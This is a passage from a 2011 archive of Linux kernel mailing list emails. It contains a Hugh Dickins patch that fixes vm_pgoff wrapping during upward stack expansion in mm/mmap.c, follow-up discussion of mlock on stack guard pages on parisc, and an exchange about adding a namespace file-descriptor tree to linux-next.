	t=1304988282; bh=BZWQEntjKqAPUhgZPxiZBclG9Ik=;
	h=Date:From:To:cc:Subject:Message-ID:MIME-Version:Content-Type;
	b=uAqu2k1zcpzdh89dG8xa7ZektiX4DhpLckptroRvide4VZ5FUTZFrtGU8R8tY4YwP
	 ORSrQXD2OBl2j17hA6LUQ==
Original-Received: from pxi10 (pxi10.prod.google.com [10.243.27.10])
	by hpaq12.eem.corp.google.com with ESMTP id p4A0iAY1019673
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Mon, 9 May 2011 17:44:40 -0700
Original-Received: by pxi10 with SMTP id 10so4298027pxi.36
        for <linux-parisc@vger.kernel.org>; Mon, 09 May 2011 17:44:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:message-id
         :user-agent:mime-version:content-type;
        bh=iKlOCZKLw3X4c8IRLjz23vrIbm6vgitqxO7UQsbyTV8=;
        b=KnoIXhl6E6QQQSesmbWS31B/Yl6tii4vnh022Fa+T2XKyJh5RcjwjsI6B7/6rfq/UX
         UlFnKveQzrP7vFoVdslQ==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:message-id:user-agent
         :mime-version:content-type;
        b=lkE6LVL3T6y1W/4BZZjn+ARqdowlmBgJ+ungutTEXnUlBskgmD4audE4NmFOxStLVV
         B/QZ89QFSy4LFeulntFQ==
Original-Received: by 10.68.27.170 with SMTP id u10mr10984168pbg.529.1304988280060;
        Mon, 09 May 2011 17:44:40 -0700 (PDT)
Original-Received: from [192.168.14.71] ([216.239.45.19])
        by mx.google.com with ESMTPS id g5sm4437132pbj.62.2011.05.09.17.44.38
        (version=TLSv1/SSLv3 cipher=OTHER);
        Mon, 09 May 2011 17:44:39 -0700 (PDT)
X-X-Sender: hugh@sister.anvils
User-Agent: Alpine 2.00 (LSU 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3716 gmane.linux.kernel:1137721 gmane.linux.kernel.mm:62779 gmane.linux.ports.ia64:21655
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3716>

Commit a626ca6a6564 ("vm: fix vm_pgoff wrap in stack expansion") fixed
the case of an expanding mapping causing vm_pgoff wrapping when you had
downward stack expansion.  But there was another case where IA64 and
PA-RISC expand mappings: upward expansion.

This fixes that case too.

Signed-off-by: Hugh Dickins <hughd@google.com.>
Cc: stable@kernel.org
---
On April 12th you asked "Guys, can you think of any other thing
that might expand a mapping?": this is the only one I thought of.

 mm/mmap.c |   11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

--- 2.6.39-rc6/mm/mmap.c	2011-05-04 12:10:31.477543104 -0700
+++ linux/mm/mmap.c	2011-05-09 17:16:34.251725877 -0700
@@ -1767,10 +1767,13 @@ int expand_upwards(struct vm_area_struct
 		size = address - vma->vm_start;
 		grow = (address - vma->vm_end) >> PAGE_SHIFT;
 
-		error = acct_stack_growth(vma, size, grow);
-		if (!error) {
-			vma->vm_end = address;
-			perf_event_mmap(vma);
+		error = -ENOMEM;
+		if (vma->vm_pgoff + (size >> PAGE_SHIFT) >= vma->vm_pgoff) {
+			error = acct_stack_growth(vma, size, grow);
+			if (!error) {
+				vma->vm_end = address;
+				perf_event_mmap(vma);
+			}
 		}
 	}
 	vma_unlock_anon_vma(vma);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 09 May 2011 23:12:53 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <1305000773.4865.62.camel@mulgrave.site>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
	 <alpine.LSU.2.00.1105081303540.16151@sister.anvils>
	 <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
	 <BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com>
	 <BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
	 <1304979549.4865.56.camel@mulgrave.site>
	 <BANLkTim7ATRyJ2NvoCj4Sv=7CLizKMd_WA@mail.gmail.com>
	 <BANLkTi=DCKmN_BafFckKHOMfjWpVLQPDFA@mail.gmail.com>
	 <BANLkTikkA5H2D23u23FV0cTcL2bAT8BKWQ@mail.gmail.com>
	 <BANLkTikLJPCc5ffobAb5uhdryRqjGhpVAQ@mail.gmail.com>
	 <BANLkTiksgtgviJGmq925OtLNU4QynVLVtg@mail.gmail.com>
	 <BANLkTikUyUpa9-ZZBquHW4xSCEj8W8TgnA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1305000786 18229 80.91.229.12 (10 May 2011 04:13:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 10 May 2011 04:13:06 +0000 (UTC)
Cc: Tony Luck <tony.luck@gmail.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Hugh Dickins <hughd@google.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>, linux-ia64@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 10 06:13:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJeJg-0003yH-2E
	for glpp-linux-parisc@lo.gmane.org; Tue, 10 May 2011 06:13:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750715Ab1EJEM7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 May 2011 00:12:59 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:39292 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750703Ab1EJEM6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 May 2011 00:12:58 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6A7FC8EE0F2;
	Mon,  9 May 2011 21:12:58 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YHqowkyMQ9H8; Mon,  9 May 2011 21:12:58 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7224C8EE0EB;
	Mon,  9 May 2011 21:12:57 -0700 (PDT)
In-Reply-To: <BANLkTikUyUpa9-ZZBquHW4xSCEj8W8TgnA@mail.gmail.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3717 gmane.linux.kernel:1137753 gmane.linux.ports.ia64:21656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3717>

On Mon, 2011-05-09 at 16:25 -0700, Linus Torvalds wrote:
> On Mon, May 9, 2011 at 4:17 PM, Linus Torvalds
> <torvalds@linux-foundation.org> wrote:
> >
> > Ok, I'll consider it tested. I'll commit it with Mikulas as author,
> > but note that I edited it so he won't get the blame if there's some
> > problem.
> 
> Oh, and I marked it for stable too, although I don't know if any
> distribution really cares about parisc or ia64. And I'm not sure that
> ia64 even saw the lvm2 failure case - I'd have expected to hear about
> it if it actually happens there.

Well, it's a done deal, but here's the proof on parisc too:

Before:

c0266000-c0289000 rwxp 00000000 00:00 0                                  [stack]
c0266000-c0a66000 rwxp 00000000 00:00 0                                  [stack]

After:

bffee000-c0010000 rwxp 00000000 00:00 0                                  [stack]
bffee000-c0010000 rwxp 00000000 00:00 0                                  [stack]

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alasdair G Kergon <agk@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Tue, 10 May 2011 23:57:00 +0100
Organization: Red Hat UK Ltd. Registered in England and Wales, number
	03798903. Registered Office: Amberley Place, 107-111 Peascod
	Street, Windsor, Berkshire, SL4 1TE.
Lines: 22
Approved: news@gmane.org
Message-ID: <20110510225659.GE9253@agk-dp.fab.redhat.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz> <BANLkTikEpaRZK3X4YReeQAwgcv3HAGUwSw@mail.gmail.com> <alpine.DEB.2.00.1105091246550.32299@artax.karlin.mff.cuni.cz> <4DC7D37F.9040308@redhat.com> <20110509224511.GC15227@parisc-linux.org> <BANLkTikz-sGiy2NdzQMPzCWF64cVF-DZ7w@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1305068264 17539 80.91.229.12 (10 May 2011 22:57:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 10 May 2011 22:57:44 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Zdenek Kabelac <zkabelac@redhat.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	linux-kerne
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 11 00:57:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJvs1-0008Jw-Lk
	for glpp-linux-parisc@lo.gmane.org; Wed, 11 May 2011 00:57:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753180Ab1EJW5g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 May 2011 18:57:36 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:44195 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753149Ab1EJW5g (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 May 2011 18:57:36 -0400
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p4AMv2oe009321
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 10 May 2011 18:57:02 -0400
Original-Received: from agk-dp.fab.redhat.com (agk-dp.fab.redhat.com [10.33.0.20])
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p4AMv0Kw019419
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 10 May 2011 18:57:01 -0400
Original-Received: from agk by agk-dp.fab.redhat.com with local (Exim 4.69)
	(envelope-from <agk@agk-dp.fab.redhat.com>)
	id 1QJvrQ-0005g1-5Q; Tue, 10 May 2011 23:57:00 +0100
Mail-Followup-To: Alasdair G Kergon <agk@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Zdenek Kabelac <zkabelac@redhat.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Hugh Dickins <hughd@google.com>, Oleg Nesterov <oleg@redhat.com>
Content-Disposition: inline
In-Reply-To: <BANLkTikz-sGiy2NdzQMPzCWF64cVF-DZ7w@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3718
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3718>

On Mon, May 09, 2011 at 03:56:11PM -0700, Linus Torvalds wrote:
> So there are sane semantics for the concept, and it would be easy to
> do in the kernel. Whether it's worth doing, I dunno.
 
At this point we have a workaround that seems to work for us.  I find it
ugly and it has needed some tweaking already but we can cope.

If others find similar problems to ours and start replicating the logic
we're using, then that would be the time to give serious thought to a
clean 'sparse' extension.  (Maybe marking individual mappings as MAP_SPARSE
and adding a MCL_NO_SPARSE option to ignore them sounds most promising to me.)

(What other software packages make use of mlockall() and under what
circumstances?)

Alasdair

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Please include the namespace file-descriptors tree in
 linux-next
Date: Wed, 11 May 2011 10:27:36 +1000
Lines: 77
Approved: news@gmane.org
Message-ID: <20110511102736.7a9dc881.sfr@canb.auug.org.au>
References: <m1sjsmp44c.fsf@fess.ebiederm.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Wed__11_May_2011_10_27_36_+1000_ZDCInZlK1ZAJYEjf"
X-Trace: dough.gmane.org 1305074050 10603 80.91.229.12 (11 May 2011 00:34:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 11 May 2011 00:34:10 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
	linux-next@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	James Bottomley <James.Bottomley@suse.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: ebiederm@xmission.com (Eric W. Biederman)
Original-X-From: linux-next-owner@vger.kernel.org Wed May 11 02:34:02 2011
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1QJxNJ-0007O9-0b
	for glkn-linux-next@lo.gmane.org; Wed, 11 May 2011 02:34:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751536Ab1EKAeA (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Tue, 10 May 2011 20:34:00 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:40549 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750790Ab1EKAd7 (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Tue, 10 May 2011 20:33:59 -0400
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id 89876144BCA;
	Wed, 11 May 2011 10:27:46 +1000 (EST)
In-Reply-To: <m1sjsmp44c.fsf@fess.ebiederm.org>
X-Mailer: Sylpheed 3.1.1 (GTK+ 2.24.4; i486-pc-linux-gnu)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:16836 gmane.linux.kernel:1138269 gmane.linux.ports.parisc:3719
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/16836>

--Signature=_Wed__11_May_2011_10_27_36_+1000_ZDCInZlK1ZAJYEjf
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Eric,

On Tue, 10 May 2011 15:44:51 -0700 ebiederm@xmission.com (Eric W. Biederman=
) wrote:
>
> These changes have just been through review and I expect
> to send Linus a pull request when the merge window opens.
>=20
> This tree holds changes that significantly simply the userspace
> interface to working with namespaces.
>=20
> I had to pull some of net-next and the parisc tress to be able to
> avoid conflicts with system call numbers.  Hopefully that is not
> a problem.

That should be fine as Dave's tree never rebases and the parisc tree
looks pretty stable.  Just keep an eye on those trees, just in case.

> git://git.kernel.org/pub/scm/linux/kernel/git/ebiederm/linux-2.6-nsfd.git

This tree will be added from today.

Thanks for adding your subsystem tree as a participant of linux-next.  As
you may know, this is not a judgment of your code.  The purpose of
linux-next is for integration testing and to lower the impact of
conflicts between subsystems in the next merge window.=20

You will need to ensure that the patches/commits in your tree/series have
been:
     * submitted under GPL v2 (or later) and include the Contributor's
	Signed-off-by,
     * posted to the relevant mailing list,
     * reviewed by you (or another maintainer of your subsystem tree),
     * successfully unit tested, and=20
     * destined for the current or next Linux merge window.

Basically, this should be just what you would send to Linus (or ask him
to fetch).  It is allowed to be rebased if you deem it necessary.

--=20
Cheers,
Stephen Rothwell=20
sfr@canb.auug.org.au

Legal Stuff:
By participating in linux-next, your subsystem tree contributions are
public and will be included in the linux-next trees.  You may be sent
e-mail messages indicating errors or other issues when the
patches/commits from your subsystem tree are merged and tested in
linux-next.  These messages may also be cross-posted to the linux-next
mailing list, the linux-kernel mailing list, etc.  The linux-next tree
project and IBM (my employer) make no warranties regarding the linux-next
project, the testing procedures, the results, the e-mails, etc.  If you
don't agree to these ground rules, let me know and I'll remove your tree
from participation in linux-next.

--Signature=_Wed__11_May_2011_10_27_36_+1000_ZDCInZlK1ZAJYEjf
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQEcBAEBAgAGBQJNydf4AAoJEDMEi1NhKgbsl40H/idD8BlhHCozuDDBeytOuwKM
9NBAOQlglG5yC6Cw02chkXZjXs2S7P5JkLqY29oaqiUQJOoLI2Eg4G7UHRmR4TgO
GFj/tKzYBzOZ/pr3qvxT6qTgBOmUFmHPQmB8RTAO5E7xWL/RgU/r6FImBOvmqICO
5qz2rEU0ktXLcNztYkmm4m+GzFmBsWWH93yjdfnQTAiFB3mmUgrFVklxQ+8wxJi4
GcJ3QjKEx24vdn6Hy71mZxFELF+swxFZdo7GfLSQx+c4EtmJQjvNIFmCamtMopjk
b+iAzujGwAk31G1f6ovclwj8gsKSXUr4hiBc1OhQJZidHv9Xlb7frakemStNeuw=
=tTUE
-----END PGP SIGNATURE-----

--Signature=_Wed__11_May_2011_10_27_36_+1000_ZDCInZlK1ZAJYEjf--

From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ebiederm@xmission.com (Eric W. Biederman)
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel
Subject: Re: Please include the namespace file-descriptors tree in linux-next
Date: Tue, 10 May 2011 20:04:17 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <m1sjsmdjke.fsf@fess.ebiederm.org>
References: <m1sjsmp44c.fsf@fess.ebiederm.org>
	<20110511102736.7a9dc881.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1305083076 15794 80.91.229.12 (11 May 2011 03:04:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 11 May 2011 03:04:36 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
	linux-next@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	James Bottomley <James.Bottomley@suse.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 11 05:04:31 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJziw-0002Z6-Sc
	for glpp-linux-parisc@lo.gmane.org; Wed, 11 May 2011 05:04:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753916Ab1EKDE0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 May 2011 23:04:26 -0400
Original-Received: from out01.mta.xmission.com ([166.70.13.231]:43804 "EHLO
	out01.mta.xmission.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753914Ab1EKDEZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 May 2011 23:04:25 -0400
Original-Received: from in02.mta.xmission.com ([166.70.13.52])
	by out01.mta.xmission.com with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <ebiederm@xmission.com>)
	id 1QJzio-0005ry-2A; Tue, 10 May 2011 21:04:22 -0600
Original-Received: from c-98-207-153-68.hsd1.ca.comcast.net ([98.207.153.68] helo=fess.ebiederm.org)
	by in02.mta.xmission.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <ebiederm@xmission.com>)
	id 1QJzin-0001Gz-Om; Tue, 10 May 2011 21:04:21 -0600
Original-Received: from fess.ebiederm.org (localhost [127.0.0.1])
	by fess.ebiederm.org (8.14.3/8.14.3/Debian-9.1ubuntu1) with ESMTP id p4B34Ixe004739;
	Tue, 10 May 2011 20:04:18 -0700
Original-Received: (from eric@localhost)
	by fess.ebiederm.org (8.14.3/8.14.3/Submit) id p4B34HPP004736;
	Tue, 10 May 2011 20:04:17 -0700
In-Reply-To: <20110511102736.7a9dc881.sfr@canb.auug.org.au> (Stephen
	Rothwell's message of "Wed, 11 May 2011 10:27:36 +1000")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (gnu/linux)
X-XM-SPF: eid=;;;mid=;;;hst=in02.mta.xmission.com;;;ip=98.207.153.68;;;frm=ebiederm@xmission.com;;;spf=neutral
X-XM-AID: U2FsdGVkX1/4LzgqUqhlsgCZDS8zsnel+2dZNE5yFqI=
X-SA-Exim-Connect-IP: 98.207.153.68
X-SA-Exim-Mail-From: ebiederm@xmission.com
X-SA-Exim-Scanned: No (on in02.mta.xmission.com); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3720 gmane.linux.kernel.next:16839 gmane.linux.kernel:1138287
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3720>

Stephen Rothwell <sfr@canb.auug.org.au> writes:

> Hi Eric,
>
> On Tue, 10 May 2011 15:44:51 -0700 ebiederm@xmission.com (Eric W. Biederman) wrote:
>>
>> These changes have just been through review and I expect
>> to send Linus a pull request when the merge window opens.
>> 
>> This tree holds changes that significantly simply the userspace
>> interface to working with namespaces.
>> 
>> I had to pull some of net-next and the parisc tress to be able to
>> avoid conflicts with system call numbers.  Hopefully that is not
>> a problem.
>
> That should be fine as Dave's tree never rebases and the parisc tree
> looks pretty stable.  Just keep an eye on those trees, just in case.

Good point.  I have talked to James and Dave so they know I pulled their
trees.  My lazy side says I expect you will get a merge conflict with my
tree in linux-next if someone rebases.  But I will definitely keep my
eyes out and at the very least double check that all is well before I
send Linus a pull request.  

Eric
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Milan Broz <mbroz@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Wed, 11 May 2011 10:42:45 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <4DCA4C05.4030803__14393.7158784412$1305129799$gmane$org@redhat.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz> <BANLkTikEpaRZK3X4YReeQAwgcv3HAGUwSw@mail.gmail.com> <alpine.DEB.2.00.1105091246550.32299@artax.karlin.mff.cuni.cz> <4DC7D37F.9040308@redhat.com> <20110509224511.GC15227@parisc-linux.org> <BANLkTikz-sGiy2NdzQMPzCWF64cVF-DZ7w@mail.gmail.com> <20110510225659.GE9253@agk-dp.fab.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1305129799 14435 80.91.229.12 (11 May 2011 16:03:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 11 May 2011 16:03:19 +0000 (UTC)
To: Alasdair G Kergon <agk@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Zdenek Kabelac <zkabelac@redhat.com>,
	Mikulas Patocka <mikulas@ar
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 11 18:03:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QKBsX-00073x-3p
	for glpp-linux-parisc@lo.gmane.org; Wed, 11 May 2011 18:03:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756453Ab1EKP6K (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 May 2011 11:58:10 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:5751 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756416Ab1EKP6B (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 May 2011 11:58:01 -0400
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p4B8gnqk028789
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 11 May 2011 04:42:49 -0400
Original-Received: from [10.36.10.177] (vpn2-10-177.ams2.redhat.com [10.36.10.177])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id p4B8gj8w013062;
	Wed, 11 May 2011 04:42:46 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.15) Gecko/20110402 Thunderbird/3.1.7
In-Reply-To: <20110510225659.GE9253@agk-dp.fab.redhat.com>
X-Enigmail-Version: 1.1.2
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3722
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3722>

On 05/11/2011 12:57 AM, Alasdair G Kergon wrote:
> (What other software packages make use of mlockall() and under what
> circumstances?)

Another one is cryptsetup for commands which manipulate with keys
in memory.
